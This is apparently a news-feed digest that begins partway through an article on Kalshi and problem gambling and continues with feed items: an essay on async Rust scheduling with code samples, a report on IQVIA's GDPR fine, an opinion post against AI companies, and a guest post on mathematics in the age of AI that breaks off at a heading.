Brian Pempus, a former sports betting journalist who is now an advocate for responsible gambling and runs the site GamblingHarm, said for prediction market operators to portray themselves as offering products distinct from traditional sportsbooks overlooks how bettors are using the sites.

"People are using these platforms as sports betting apps . They are gamified and designed to maximize your usage and screentime," Pempus said. "They are extremely far from any form of investing and these companies are becoming notorious among people with problem gambling."

Problem gambling affects millions of Americans

Kalshi, the biggest prediction market site in the U.S., has thrived during Trump's second term.

In the last month, bettors wagered nearly $60 billion on the platform, according to data analytics site TickerTracker, compared to $2.8 billion last September — a year-over-year increase of more than 2,000%.

The company is not regulated as a gambling business by states, like online sportsbooks DraftKings and FanDuel. Instead, Kalshi is supervised by federal officials as offering a type of financial instrument known as a "swap." That legal framework is being contested by states and may ultimately be settled by the Supreme Court.

Kalshi's runaway growth has been propelled by two things: The Trump administration's steadfast support of the industry and the millions of dollars in advertising Kalshi blankets social media platforms with, often luring users in with cash bonuses.

"You know, the whole world, unfortunately, has become somewhat of a casino," President Trump declared in April, when asked about prediction markets.

Trump, a former casino tycoon, is on to something. Last year, Americans spent $166 billion on sports betting, roughly the same amount as Home Depot's annual revenue that year.

Americans are more likely to have placed a bet than to have read a book in the past year, studies have shown.

Other studies have underscored the scourge of gambling. Frequent use of online sports betting increases the likelihood that a household files for bankruptcy and worsens debt delinquency.

Social scientists increasingly view gambling addiction as a public health issue, with compulsive betting linked to exacerbated levels of anxiety, depression and suicidal ideation.

The authors of a 2022 paper on the mental health impacts of gambling debt wrote: "it is crucial to target the speed of gambling products, advertisement of gambling particularly to the young, but also put an end to easy and fast access to credit that enables debt-driven gambling."

Kalshi allows traders to bet using credit cards, but the company does not offer its own loans.

Recently, however, Kalshi asked federal regulators to allow it to introduce a product that would allow traders to bet with borrowed money, known in the financial sector as "leverage." Kalshi said the feature is aimed at attracting large institutional investors, who the company is also trying to draw in.

Nearly 20 million Americans show signs of problem gambling, which can include incessantly thinking about gambling, feeling irritable when not betting and continuing to gamble more money after a loss in a panicked attempt to win it back, according to the National Council on Problem Gambling. In May, Kalshi became a member of the council and donated $2 million to the group.

Kalshi's decision to join the group was striking, since the company has spent years insisting it does not offer "gambling." That resistance extends to the company not participating in "self exclusion" databases maintained by states. That would require Kalshi to obtain a state license as a gambling operator, but the company insists it is exempt from state-level gambling rules.

Following his bankruptcy, Thomas signed up for Pennsylvania's self-exclusion list. He's one of more than 30,000 residents in the state enrolled in the program, state records show. That means he's banned from casinos, mobile sports betting and other types of betting online, along with being blocked from any direct marketing from betting operators, like email blasts pushing offers and promotions. Not included in the automatic ban? Prediction market sites like Kalshi.

Kalshi does allow traders to voluntarily ban themselves, and is part of a prediction market industry self-exclusion program .

"We've prioritized making Kalshi the safest venue for people to trade on," Kalshi's Lever said in a statement, pointing to features that nudge bettors to take a break, establish limits on what traders can deposit and partnerships with mental health counseling to assist problem traders.

She noted that trading irresponsibly "is a real risk in any type of financial market with retail participants."

Yet the company's critics argue that not receiving a license from states, and thus avoiding participating in ban lists other major betting sites honor, creates a loophole for those with gambling issues.

"It's outrageous that prediction markets are offering sports bets in states where people have taken the courageous step to self-exclude and have to do it all over again with a prediction market that may or may not even honor the request," Pempus, the responsible gambling advocate, said.

'A slot machine in your pocket'

When Thomas started using Kalshi, he dabbled in sports bets, which constitute around 80% of the app's total volume.

But his go-to markets were ones tied to the price of bitcoin that allowed bets on whether the cryptocurrency would be above or below a certain number. Crypto-related markets, according to analytics firm TickerTracker, are the second-most-popular type of betting on Kalshi behind sports.

A phone displays crypto trades on Kalshi on Thursday, April 16, 2026, in Portland, Ore.

A phone displays crypto trades on Kalshi on Thursday, April 16, 2026, in Portland, Ore. Jenny Kane/Associated Press hide caption

Jenny Kane/Associated Press

The market Thomas began using compulsively restarted every fifteen minutes and never stopped.

There were times he was glued to his phone for 18 hours a day betting in these markets, his trading records show.

"The odds flip so quickly. It's such a rush," Thomas said. "And when I'd lose, my brain just kept wanting to win it back," he said. "I never even traded Bitcoin or any crypto, but I just kept coming back to the rush of how unpredictable the markets were."

Mahmood, the problem gambling counselor in Ohio, said the markets that end very quickly, which are offered by many platforms, including off-shore betting sites, offer quick dopamine hits that can leave people constantly pursuing the next one.

"The ones that expire in a matter of minutes or hours are no different than a slot machine in your pocket," he said. "And you're able to do this literally all day, all night, as much as you want."

Ternus and Cook Tweet Brief Remembrances on the 15th Anniversary of Steve Jobs’s Death

Daring Fireball
x.com
2026-10-05 15:19:35
John Ternus, posting on X: The way Steve taught us to care about every detail, every experience, every person, still guides our work today. Forever grateful. Tim Cook, also on X (with a photo I don’t recall seeing before): There are people who leave a mark on the world, and then there are ...
Original Article

The way Steve taught us to care about every detail, every experience, every person, still guides our work today. Forever grateful.

spoonful: static site generator written in Nix

Lobsters
tangled.org
2026-10-05 14:48:15
Comments...
Original Article

3

Configure Feed

Select the types of activity you want to include in your feed.

3

Configure Feed

Select the types of activity you want to include in your feed.

23 2 0

Clone this repository

https://tangled.org/poacher.dev/spoonful https://tangled.org/did:plc:iehbm3mjujc72jmlrahnwxbw

git@tngl.poacher.dev:poacher.dev/spoonful git@tngl.poacher.dev:did:plc:iehbm3mjujc72jmlrahnwxbw

For self-hosted knots, clone URLs may differ based on your setup.

Download tar.gz Download .zip

Commits 23

This adds a check which builds my real blog with the local spoonful, a
tangled pipeline to do this, and nixhooks.

README.md

spoonful is a static site generator written in Nix. The repository can be found on Tangled and docs are hosted on poacher.dev

Features #

  • Fast, cached builds
  • Content authored as plain Nix
  • RSS feeds, a sitemap, and syntax-highlighted code with light/dark themes
  • spoonful dev for live preview, spoonful new to scaffold a page

Examples #

The following websites use spoonful :

  1. mine
  2. zushi
  3. yaaaarn

If you would like your website added here then please open an issue or PR.

Credits #

Many thanks to Llakala for her work on the original recursive import functions and toKebabCase .

Async Rust: Where does the scheduler live?

Lobsters
herecomesthemoon.net
2026-10-05 14:31:29
Comments...
Original Article

The original idea was to kick off this article with a short list of complaints people have about async Rust. Y’know, the type you often see in the wild, justified or otherwise.

I then realized that it’d easily be possible to find enough material riffing on async Rust to cover a whole bingo card, and that this would make for a much funnier format. The next time you see people arguing about async Rust, see if you can get a bingo!

A 5×5 bingo card of common async Rust complaints.
A 5×5 bingo card of common async Rust complaints.

Toggle original/dithered image

Let me know if I missed any!!

Bonus points for people discussing Zig’s approach to async .

Since you are reading this article, you’ve (most likely) already heard some of these. For the others, I assembled a dropdown of suggested reading material, which should get you up to speed. It’s a good way to spend an afternoon, but by no means required reading for this article.

Async Rust Bingo Cheat Sheet

NOTE: This list is in grid-reading order.


  • Scoped task trilemma : Roughly speaking, you can only pick two out of three: Concurrency, parallelism, borrowing. This is downstream of the leakpocalypse . tl;dr: It’s possible to leak memory, so you cannot guarantee that destructors run. As a result, the original scoped threads API allowed creating data races, very bad.
  • Function coloring: Originally the classic Bob Nystrom post . Much ink has been spilled on the topic, see e.g. Without Boats’ own take . There’s so many posts discussing function coloring that I’m not even going to bother to list them, and people regularly disagree on what function coloring even means.
  • Async Closures : Basically, it took like 6 years to land async closures. The short summary is “async closures need to be lending, since they return futures that may borrow from the closure’s captures”, see this post . You may hear some mumbling about higher-kinded types if you spend too much time looking into the topic, so brace yourself.
  • Tokio Defaultism: The notion of Tokio as the only runtime that matters. Bonus points for people not realizing that what they’re talking about only applies to Tokio, not to async Rust in general. See this Corrode.dev blog article for an overview.
  • “just use threads(tm)”: The notion that “almost no one needs async”, and that most people should “just use a lot of threads”. The most common variant of this reasoning is the idea that async only ever becomes necessary if you are writing a server that has to support 10k+ connections at the same time, and that otherwise you can “just use a thread pool”.

  • Complex compiler errors / traces: One of the single most common complaints about async Rust.
  • Async Drop : Due to the nature of the Rust Drop trait, all destructors are synchronous. The issue is that we may have to perform blocking clean-up actions. In an async context, we want to be able to yield control, so we don’t block any threads.
  • Futures are lazy: In JavaScript, any created Future immediately starts executing (they call them Promises over there, but shhh). In Rust, this is not the case! A future is “just” a struct. You have to .await (or spawn) it for it to make any progress, otherwise it doesn’t move at all. Forgetting to do this is a common beginner mistake.
  • “rust used to have green threads” / stackful coroutines: Green threading is a model in which Rust brings its own runtime. Think of Go’s goroutines. The RFC that removed them can be found here . Rust creator Graydon Hoare’s reflection on his old vision for Rust is also insightful. (Archived link.)
  • Futures are not runtime agnostic: Task spawning is dependent on the runtime and has various assumptions baked into it. Certain matters are baked into traits. Do it wrong, and you get errors like this . See also, this discussion of writing libraries that can be used across runtimes. In general, when people talk about an “ecosystem split”, this is one of the issues they’re referring to. The other one is that async splits the entire Rust ecosystem into async and non-async libraries.

  • select! / cancellation safety: See the following excellent transcribed talk, ‘Cancelling Async Rust’ . The Tokio select! macro specifically is notorious, which is why its docs have a whole section on cancellation safety . Accidentally dropping futures in select! branches might be the poster child of async Rust footguns.
  • Send + Sync + 'static bound proliferation: See e.g. the tokio docs on how Send bounds etc. creep into the program. People complain about having to annotate everything with these bounds.
  • lack of ergonomics (free space): No comment . See also, for 2026 goals .
  • Futurelock : “a type of deadlock where a resource owned by Future A is required for another Future B to proceed, while the Task responsible for both Futures is no longer polling A .” Please don’t ask me to explain this thing!
  • effect system / keyword generics / maybe async: See the keyword generics initiative . The idea here is that instead of having to write sync and async functions, you only write a single “maybe async” function. Then, the compiler creates both versions of the function beneath the hood (similar to how generics work) and dispatches the correct one based on calling context. I was always skeptical of this.

  • APIT, RPIT, TAIT, RPITIT: See here for an explainer. These all refer to the ability to use impl Trait in various places where it was previously not possible. Most of them are easy to look up, but also highly technical.
  • dyn compatibility, Pin<Box<dyn Future<Output = T> + Send>> : The ability to do dynamic dispatch. Due to limitations this may require boxing, which is a bit frustrating, and results in these hilariously verbose types.
  • io_uring: io_uring is a new (2019) asynchronous I/O interface of the Linux kernel. It has better performance than the older epoll (or at least requires fewer syscalls). In io_uring APIs the kernel owns your buffer until the operation finishes, which fights with futures being cancellable by drop. Fixing it in Tokio requires moving buffers around, instead of passing &mut references to them. This would require reworking Tokio’s APIs. See here for the tokio-uring design. Afaik Tokio still doesn’t fully support io_uring , partially due to API compatibility guarantees. Some other runtimes do.
  • “actually, async is important for the embedded space”: Embassy is the prominent example of an embedded async Rust executor. Also, see Without Boats’ Why Async Rust . One important thing to understand is that Rust cannot have a built-in runtime or green threads since that conflicts with the use case of Rust for embedded devices. It’s an incredibly valid point, but people bringing up embedded programming during async Rust discussions has almost become a meme in its own right.
  • Box::pin(future) overflowing the stack: Futures are a state-machine describing all possible states some async functions can be in. If these async functions are severely nested, they may blow the stack. This is especially funny if you tried to put it in a Box , and ran into the lack of in-place heap construction. See e.g. here .

  • thread per core vs. work stealing: See e.g. this post . Tokio is work-stealing, which has attracted some discussion over the years. Work-stealing = tasks can be moved from one CPU core to another, ensuring that each thread always has work to do, but requiring all tasks to have Send bounds. There are some alternative runtimes, e.g. Glommio , which move away from that model for various reasons. See Without Boats’ response to the above post.
  • “the std should ship an executor”: Broadly, the notion that Rust should ship with some sort of runtime (e.g. Tokio or a super primitive executor). The obvious problem is that there is genuine need for different executors, and adding one to the standard library would conflict with Rust’s goals of shipping a lean standard library. The more sympathetic notion is the idea that the Rust standard library should (somehow) standardize APIs for spawning tasks , and move in a direction that ensures that different runtimes can play nicely together. Making this work would be a hard problem, since runtimes have different expectations: Work stealing ones (e.g. Tokio) require Send bounds because Futures may be sent between threads, but this limitation does not apply to thread per core runtimes.
  • generators / yield / AsyncIterator / coroutines: See e.g. here . These are still unstable, and not a priority for 2026 . Afaik there were large disagreements over the shape of the precise trait that should be used to encode the concept of async iterators. Also, you run into lending iterators again. tl;dr, the scope goes beyond Python-like yield keyword blocks.
  • spawn_blocking : Broadly, the whole topic of “How do I spawn a blocking task without causing problems for my program?”. Specifically, the footgun is that if you accidentally block a Tokio worker thread, your program may keep limping along (work-stealing, so the remaining work of that worker thread will be stolen by other threads), but your worker pool is now down one full worker thread, for as long as the call blocks. This can be really hard to notice as long as traffic is low.
  • Pin issues + Move trait : Many, many words have been spilled on how nice it would be to have a proper Move trait instead of having to deal with Pin . As always, read Without Boats’ post to understand Pin .

What’s the deal?

The thing that bothers me about async Rust is that it requires a runtime.

Why? Why does it require a runtime? Nothing else in Rust requires a runtime 1 . The single claim to fame of Rust is that it gives you memory safety without requiring a runtime (such as a garbage collector) . Going back to a runtime-based model feels like a regression.

The instant you have a runtime, you are putting yourself in the hands of a diffuse (potentially completely inscrutable) prioritization and scheduling mechanism. You don’t run your own functions, you instead hand them to an engine which runs them for you, according to its own rules, instead of going through the code one step at a time as god intended, darn it.

And it gets worse! Scheduling algorithms are necessarily optimization problems, requiring you to pick a specific point on a tradeoff boundary ! There is no one-size-fits-all solution! How frustrating! How can we talk about Rust’s performance being world-class if I still end up tweaking the Tokio runtime like it’s the Java garbage collector, just to squeeze out a little bit more performance?

That’s exactly what I wanted to get away from!

So.

At this point, if you’ve made it through the previous paragraphs without closing the tab to send me a strongly worded e-mail, congratulations!

In short, that whole gripe was nonsense.

Let me explain.

These issues (runtime-feeling, scheduler optimization tradeoffs, complexity) are general issues of concurrent code . If you want code to run concurrently, you need a runtime to handle scheduling. That’s practically built into the definition of concurrency.

If you avoid async Rust altogether and use threads, all that changes is that now the kernel is your scheduler instead of Tokio. You still have a scheduler, with all (or well, at least some) of the same problems!

In other words, please don’t blame Rust for exposing complexity to you, the user. Rust is a low-level language (with high abstractions, and ambition for high performance). Exposing this complexity is what it does. Rust cannot choose your scheduler for you, because there is no perfect scheduler, and different schedulers have different use cases.

Languages like Go have it easier: No one expects Go to have bare-metal performance. Everyone understands that there’s a tradeoff here. You sacrifice some performance in exchange for convenience, and that’s why Go has goroutines(tm), i.e. green threads.

The humble Gopher stays in its lane, unbothered, moisturized, flourishing, and forever blissfully ignorant of the call of sum types and pattern matching.

Unlike Go, Rust is aiming a little higher.

side note: async Rust performance

For the record, there’s this belief that async Rust is “as good as it gets”, in some vague, diffuse way. This isn’t really the case. Obviously “as good as it gets” is too vague and undefined to have any truth value assigned to it, but there is at least one genuine misconception here. (Ignoring the THERE IS NO PERFECT SCHEDULER misconception.)

Example: A common belief is that Rust futures compile down to an “optimally sized state-machine, that is exactly as large as it has to be to hold all the data”. I assume that notion may have originated in Aaron Turon’s ‘Zero-cost futures in Rust’ and in Without Boats’ ‘Why Async Rust?’ and then took on a life of its own. That’s the idea, but there exist a variety of long-standing issues, such as arguments being twice as expensive if held across yield points :

async fn test(arg: [u8; 8192]) {
    wait().await;
    drop(arg);
}

async fn wait() {}

fn main() {
    // Expected: 8194 == 2 + 8192
    // Actual: 16386 == 2 + 2 * 8192
    println!("{}", std::mem::size_of_val(&test([0; 8192])));
}

Link to Rust Playground. Fun fact: Remove the drop(arg); call and see what happens .

Looking at it from the outside, the idea that this is twice as expensive as it “has to be” and doesn’t get optimized away is absurd. What’s even more macabre is that the size blowup is exponential if you’re passing futures as arguments. (Shoutout to Ding , who’s been fighting a valiant battle to resolve this problem once and for all. See this thread .)

So, what’s the problem here?

First, concurrency (in some form or another) is necessary.

Second, concurrency always requires a runtime . You cannot have concurrency without a runtime. Where does the runtime live, and who manages the stack?

Third, if you wanted to avoid a runtime, the best you can do is to write your own event-loop (congratulations, now you are maintaining your own runtime, great job), or to “just use threads” (congratulations, now you are using the kernel as a runtime, requiring you to juggle kernel threads that are a quintillion times as heavy as specialized Tokio tasks, great job).

Fourth, you cannot do “what Go does” and ship a runtime without making Rust harder to embed and imposing a cost at the FFI boundary . (Seriously, read that post to understand why. See RFC 230 to see the rationale for removing Rust’s original green threading .)

So fifth, having exhausted the available options, we end up where we are today: A runtime is a crate. You pull it in, initialize it, maybe pass it around, and use it to schedule your futures.

Great.

We’ve reinvented exactly what we started with.

I spent a lot of time going over the design decisions involved here, trying my best to complain about async Rust, only to end up going “Oh. Yeah. That’s reasonable. That makes sense. I can see why they did it that way.” every step of the way.

I still don’t know if there’s some yet-undiscovered abstraction that magically evaporates half of the problems people have with async Rust, but I’m inclined to say no: Many of them are general concurrency problems. The scheduler has to live somewhere, and Rust doesn’t get to trade performance for convenience.

It makes sense to split those problems between inherent concurrency problems, and issues downstream of the decision to have the scheduler live in a crate.

The crate thing is how you get Tokio defaultism, and a lack of runtime agnosticism. It’s also why you have to deal with Send + 'static bounds. Send bounds spread through generic code since the language itself cannot know whether your runtime will move tasks between threads.

In a lot of ways, having the scheduler live in library code is fine. It was the right tradeoff for Rust.

It’s important to understand that the decision to eschew green threads codified a hard design principle about Rust that was, at the time, still in flux: For a while it was not clear that Rust was going to go down the route of being a C++-replacement, usable in embedded no_std environments, and with “zero-cost abstractions”.

In hindsight, it looks like this direction was the right call. It allows Rust to stand out next to C#, or D, or Swift, as a language that’s truly a stand-in for C++, but memory safe. No ifs or buts, no attempt to sneak in garbage collecting or refcounting through the backdoor while no one is looking. Bare metal, everything that C++ can do, but memory safe.

We don’t know what the counterfactual world in which Rust doubled down on green threading looks like, but frankly, I assume that it’s not a world in which Rust entered the Linux kernel. It doesn’t seem likely, on a technical and political level.

So, what’s left?

Back to my actual annoyances.

User-level threading?

Isn’t it incredibly silly how much time we spent reinventing and litigating new runtimes (such as Tokio or Go’s) inside of our programming languages?

Here’s a spicy take: Maybe we should “just” somehow fix kernel threading and scheduling, or introduce a new type of kernel thread, such that “just use threads” suddenly becomes efficient, and we can “just” multi-thread our code?

Step three above is predicated on the assumption that kernel threads are expensive, and that you lose something by moving to them. In the ideal world, surely this would not have to be the case. I don’t care how, give the kernel a laughably cheap Go-like scheduler with cheap and simple threads.

You may assume that’s impossible, somehow, but we are operating at a lower level of abstraction, and more closely with the kernel . In other words, there are fewer limitations binding us, not more. Goroutines are an abstraction running on top of the kernel. If it’s possible to make goroutines efficient, cheap, and fast, then it should be possible for the kernel to support some variant of efficient, cheap, and fast threading.

Apparently, yes, people have tried this a few times , usually under a name like ‘M:N user-level threading’. I don’t have it in me to do research on that today, but figuring out which types of programs would benefit from these and what the limitations are is an interesting question.

In practice, the kernel will never know as much about your code as a language-specific runtime. This limits its ability to schedule your threads, and probably means that language-specific runtimes will always(?) come out on top, unless you find a way to hand the kernel all the additional data which it needs.

In either case, even in the ideal case this just has us moving back to a world in which everyone uses threads for everything… just with higher performance. Is that better? I don’t know. Opinions may vary.

Tokio

Oh, before I forget it: This is another gripe, but Tokio’s implicit ambient executor model is a little frustrating, and damages the spirit of Rust’s golden rule 2 .

A spawned Tokio-task will magically attach itself to an ambiently-looming thread-local context/executor, and break with a runtime panic if such an executor doesn’t exist. Example :

fn record_metric(_value: u64) {
    tokio::spawn(async move {
        // do stuff
    });
}

fn checksum(data: &[u8]) -> u64 {
    let sum = data.iter().map(|&b| b as u64).sum();
    record_metric(sum);
    sum
}

#[tokio::main]
async fn main() {
    let data = vec![1u8; 1024];
    checksum(&data); // fine

    let (tx, rx) = tokio::sync::oneshot::channel();
    rayon::spawn(move || {
        let _ = tx.send(checksum(&data)); // panics, process abort
    });
    println!("{:?}", rx.await);
}

In practice, it’s as if there’s a ‘secret argument’ that gets passed around by all of your Tokio functions. Except if you forget to speak the magic incantation (i.e. you try to use Tokio outside of the context of a Tokio runtime), you get a runtime error. Side effects! Hidden global-ish variables! Hidden dynamic scoping! Bad! 3

In the “ideal world” (which many other than me would hate, since I’m a sicko) you cannot spawn tasks without having to pass the executor all the way through your code, to the place where you spawn the task.

If people really want to reach for the Tokio executor without passing it through, it should be sitting in a global variable, and needs to be grabbed from there, at the call-site . You want this property to be greppable , not hidden.

Zig

(Here’s where I claim my ‘discussing Zig’ bingo bonus points.)

For an example of how a principled version of that might look in practice, we can take a look at Zig: You pass around an I/O interface to all functions that need it. Async-ness and I/O are then properties baked into the exact implementation which you are passing around.

const std = @import("std");
const Io = std.Io;

fn saveData(io: Io, data: []const u8) !void {
    const file = try Io.Dir.cwd().createFile(io, "save.txt", .{});
    defer file.close(io);

    try file.writeAll(io, data);

    const out: Io.File = .stdout();
    try out.writeAll(io, "save complete");
}

Example from Loris Cro’s post on the topic .

The I/O interface defines the contract for the runtime.

This (in principle) gives you three magical features, assuming everyone is strict about passing the interface around:

  1. You can track exactly where blocking operations may happen.
  2. You avoid function coloring 4 . It’s a function parameter.
  3. All library code will be agnostic to the executor or scheduler: You can pass a different implementation of the I/O interface into the code. No split ecosystem.

re: The question posed by the title, putting the scheduler into a parameter we pass around feels right. It’s verbose, but it solves a lot of problems. Hell, it solves like a third of the bingo card.

That’s where I’d like the scheduler to live. Not in the kernel, not in some ambient execution context, just make it something we can pass around as a parameter and swap out as needed.

That said, Zig is not stable yet, and async is very difficult to get right. In other words, this approach hasn’t been proven in the wild yet.

If the Zig team can make it work, then I am confident that an experiment to evolve Rust in that direction would be worthwhile.

Going all-in would require a rewrite of the Rust standard library APIs (e.g. std::fs ), so that’s almost certainly off the table, but the crate ecosystem lives under no such constraints. Maybe it’s possible.

I wish the Zig team all the success that they deserve in these exciting times.

IQVIA fined $7.8 million for failing to properly anonymize health data

Bleeping Computer
www.bleepingcomputer.com
2026-10-05 13:19:53
Italy's Data Protection Authority (GPDP) has fined IQVIA €7 million ($7.8M) over poor data-processing practices that the agency says could have put roughly one million patients at risk of data exposure and de-anonymization. [...]...
Original Article

Healthcare

Italy's Data Protection Authority (GPDP) has fined IQVIA €7 million ($7.8M) over poor data-processing practices that the agency says could have put roughly one million patients at risk of data exposure and de-anonymization.

IQVIA is a multinational company that provides healthcare data analysis, technology, and clinical research services. The company claims on its website that it operates in over 100 countries and handles 68 petabytes of data and 1.2 billion patient records.

Italian authorities investigated IQVIA's data-processing practices in April 2025, and last month decided that the company did not provide adequate health-data anonymization warranties, despite its claims.

GPDP has found that IQVIA's Italian division had created a database containing the health information of roughly one million patients by aggregating data from 800 general practitioners.

While the company used a unique code instead of patients' names in those records, the data protection agency found they could be used to track and de-anonymize patients over time.

"The code associated with each patient made it possible to track them over time,” explained GPDP in an announcement published late last week.

“Combined with a very detailed set of information (year of birth, sex, diagnoses, symptoms, prescriptions, tests, vaccinations, as well as location data), it made it possible to single out individual patients and, using reasonable means, reidentify them.”

In addition, IQVIA processed data without an appropriate legal basis and without informing patients, which violates the GDPR (General Data Protection Regulation).

Finally, IQVIA allegedly did not establish or follow any data retention periods, with the GPDP finding records dating back as far as 2001.

For a subset of 3,300 patients in IQVIA's database, the company also included names, tax identification numbers, addresses, and contact details.

In addition to the $7.8 million fine, Italian authorities also ordered the company to bring its practices into compliance within 120 days.

BleepingComputer has contacted the firm with questions about the fine, and a spokesperson sent us the following statement:

"IQVIA is committed to the responsible use of data and information and continues to cooperate with the Authority. Protecting data is a core priority for IQVIA, and we maintain robust safeguards, including the use of pseudonymization and encryption, to support responsible data use in healthcare.

IQVIA acknowledges the decision adopted by the Italian Data Protection Authority and reserves the right to appeal. The dataset to which the Italian Data Protection Authority's decision relates is not used by IQVIA in conduct of clinical research services and does not relate to the conduct of clinical trials on behalf of the sponsors.

We have engaged constructively with the Italian Data Protection Authority throughout this process and have already taken steps to adopt the measures necessary to ensure full alignment with the Authority's guidance."

article image

Build your security blueprint for AI-powered attacks

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

Save your seat

AI Companies Are Parasites

Hacker News
www.coryd.dev
2026-10-05 15:30:10
Comments...
Original Article

Merriam-Webster:

An organism living in, on, or with another organism in order to obtain nutrients, grow, or multiply often in a state that directly or indirectly harms the host.

That's it, right? The whole thing, their entire business model.

  1. Scrape the whole of the internet, destroy books, siphon everything they can from whoever they can without compensation, and call it fair use.
  2. Train models on said stolen data.
  3. Sell metered access to the models.
  4. Repeat until you've killed the host.
  5. Hope you can head off the effects of AI inbreeding.

The old bargain of traffic for indexing is gone. Scrapers overload infrastructure. Clickthroughs collapse. Communities collapse. 1

Yes, licensing deals exist. Reddit is selling access to its data, but that data is human-generated and depends on a flagging community the company seems, at best, indifferent to.

They'll even show up in your community and set up a data center that nobody (well, except for the people profiting from it) wants. Maybe they'll spin up gas generators and send pollution your way. Or they'll drive up your electricity and water rates. But what about jobs? Most of those only exist during construction and, who knows, they might just hire folks from outside your area for that.

They never should've attached themselves to society, and it may be too late to dislodge them. At least we get stilted prose, images that look like Pixar rehashes, and code nobody understands.

The Future of Mathematics

Hacker News
terrytao.wordpress.com
2026-10-05 15:22:40
Comments...
Original Article

[This is a guest post by Jeremy Avigad . This blog post was initially written in a different file format and converted using AI. — T.]

“Mathematics underwent, in the nineteenth century, a transformation so profound that it is not too much to call it a second birth of the subject—its first birth having occurred among the ancient Greeks…”

Howard Stein, in “Logos, Logic, and Logistiké: Some Philosophical Remarks on Nineteenth-Century Transformation of Mathematics”

“The report of my death was an exaggeration.”

Mark Twain

“May you live in interesting times.”

(traditional)

I recently attended a meeting of innovative science and technology startups supported by Convergent Research, the organization that oversees the Lean FRO, a nonprofit that develops the Lean theorem prover. The meeting was designed to stimulate discussion, and when I introduced myself as a mathematician, many participants were eager to talk about the impact of recent events in AI on mathematics and reactions in the mathematics community. They were surprised to hear that I find the tone of the community responses on blogs like this one and Proofs and Prompts generally positive and encouraging, even though we all recognize that fundamental aspects of our day-to-day professional lives are bound to change. These discussions have helped me shape some of the thoughts I would like to share here.

There is a narrow view of what mathematicians do, encapsulated in our daily workflows: we try to solve problems, and when the hard problems are too hard to solve, we make up easier approximations, solve them, and then vary the parameters. That practice has been disrupted by the events of the last few months, in the sense that the kinds of results that would have, a year ago, made for perfectly respectable publications can now easily be generated with the help of AI. This has left us worrying about what it will mean to do mathematics going forward, as well as how to train and support the next generation of mathematicians to do whatever that is.

The history of mathematics offers us a broader view. What has remained stable, despite centuries of changes, is that mathematics is a culture of rigorous reasoning and communication, providing us with language and abstractions that let us think and communicate more reliably and efficiently. Surely such reasoning is still important, even in the age of AI. The fact that many of us find mathematics aesthetically pleasing doesn’t diminish its practical utility, but rather is explained by it: I expect that the reason that doing mathematics feels so good is that it is the exercise of capacities that are so fundamental to our survival as a species that they are wired into our DNA. If that’s right, mathematical thought isn’t going away any time soon.

The challenge is that solving the kinds of problems we have been solving for decades becomes decoupled from the goal of enhancing our mathematical understanding when we let AI do the work. The question, therefore, isn’t whether we still need mathematics, but rather how to pursue mathematical understanding in the age of AI. I will provide three general answers.

Solve harder problems

There are two salient features of today’s foundation models: first, they have seen the entire mathematical literature, and second, they are tireless; a swarm of agents can make its way to a solution by trying countless variations. This explains why the AI-generated solutions to open problems we have seen all have a similar character: they are problems that AI could solve by cobbling together available techniques. (I am grateful to Matthew Ballard for this characterization, and the subsequent analysis.)

Can every interesting mathematical question be answered that way? Probably not, and even questions that can may have more interesting and satisfying solutions that invoke novel ideas and insights. Perhaps, in the near future, AI systems will be able to come up with such insights, but, at the very least, let’s recognize that we are not there yet. Reinforcement-learning training regimes have systems chain conventional moves and learn, from a history of failures and successes, which ones are most promising in a given state. The fact that the value of an action is graded solely in terms of the success of a final trajectory breeds superhuman cleverness but may miss creativity and higher-level strategizing. In any case, there are still hard questions to be solved and ambitious research programs to pursue, and the possibility of making progress on them with the help of AI is exciting.

Think bigger thoughts

Our present situation would be much more depressing if mathematics were a matter of ticking off problems imposed on us by aliens, an endless sequence of exercises and exams. The good news is that when we do mathematics, we get to choose the problems, grade the solutions, and favor the ones we like best. We decide what’s interesting to us, what questions to pursue, and why. Our destiny is in our hands.

The things we admire most in mathematics often seem to come out of nowhere. In 1853, the young Bernhard Riemann submitted three potential topics to his advisor, Carl Friedrich Gauss, to choose from for his Habilitationsvortrag, a lecture he was required to give to secure a teaching position at the University of Göttingen. Gauss reportedly chose the topic for which Riemann was least prepared, to see what he would make of it. The resulting lecture, “On the Hypotheses Which Lie at the Foundations of Geometry,” was published posthumously in 1868, and it revolutionized the field. The lecture distinguished a space’s metric properties from its topological properties and introduced the general notion of a manifold, though the latter did not receive a fully rigorous treatment until the twentieth century. The focus on intrinsic properties of a space—in Riemannian geometry, those determined by the metric and independent of embedding in a larger space—was key to Einstein’s theory of general relativity decades later. Riemannian geometry has had applications that Riemann himself could never have imagined, from robotics and medical imaging to statistical analysis.

William Ewald’s excellent sourcebook, From Kant to Hilbert , provides a lovely introduction to the paper and quotes Felix Klein’s description of the work:

“The publication of [Riemann’s lecture] occurred just at the time when I was beginning to occupy myself independently with mathematical problems. So I still have vivid memories of the extraordinary impact Riemann’s train of thought made on the young mathematicians of the day. Much seemed to us dark and difficult to understand, and yet of unfathomable depth, where the modern mathematician, who has already absorbed all these things into his mode of thought from the outset, only admires the clarity and fecundity of the exposition.”

What seemed dark and mysterious to the young Klein is now part of the canon, something that foundation models have absorbed and internalized through their training, just as young mathematicians do. I am grateful to Ballard once again for suggesting this example and pointing out that no reinforcement-learning setup could have evaluated Riemann’s decisions: the benefits are diffuse and hard to track, and the time horizon is much too long.

The same can be said for countless mathematical developments that have opened up new vistas, such as Galois’ focus on groups of permutations in the study of solvability of algebraic equations, Poincaré’s qualitative studies of dynamical systems, or Grothendieck’s far-reaching conceptual innovations. Will AI eventually be able to make advances like these? That’s not even the right question to ask. Telling us that some AI agent is spinning out theorems that are highly interesting to it and other AI agents does nothing for us. We should care about AI only insofar as the results are interesting and important to us, and, at the end of the day, it’s up to us to decide what that means. The values we assign to mathematical developments are embedded in our history and culture.

Imagine planning a trip to go backpacking in the Alaskan wilderness for exercise and recreation. You might be happy to let AI help book your flight, but not to let AI take the hike for you and send you pictures. In mathematics, what is at stake isn’t our recreation but agency over our reasoning and deliberation. Whether or not AI can think, it can’t think for us. We have our own lives to live; mathematics is our story to tell, and it’s up to us to decide how to tell it. With AI, there’s even more to explore, and no shortage of avenues for discovery.

Try new things

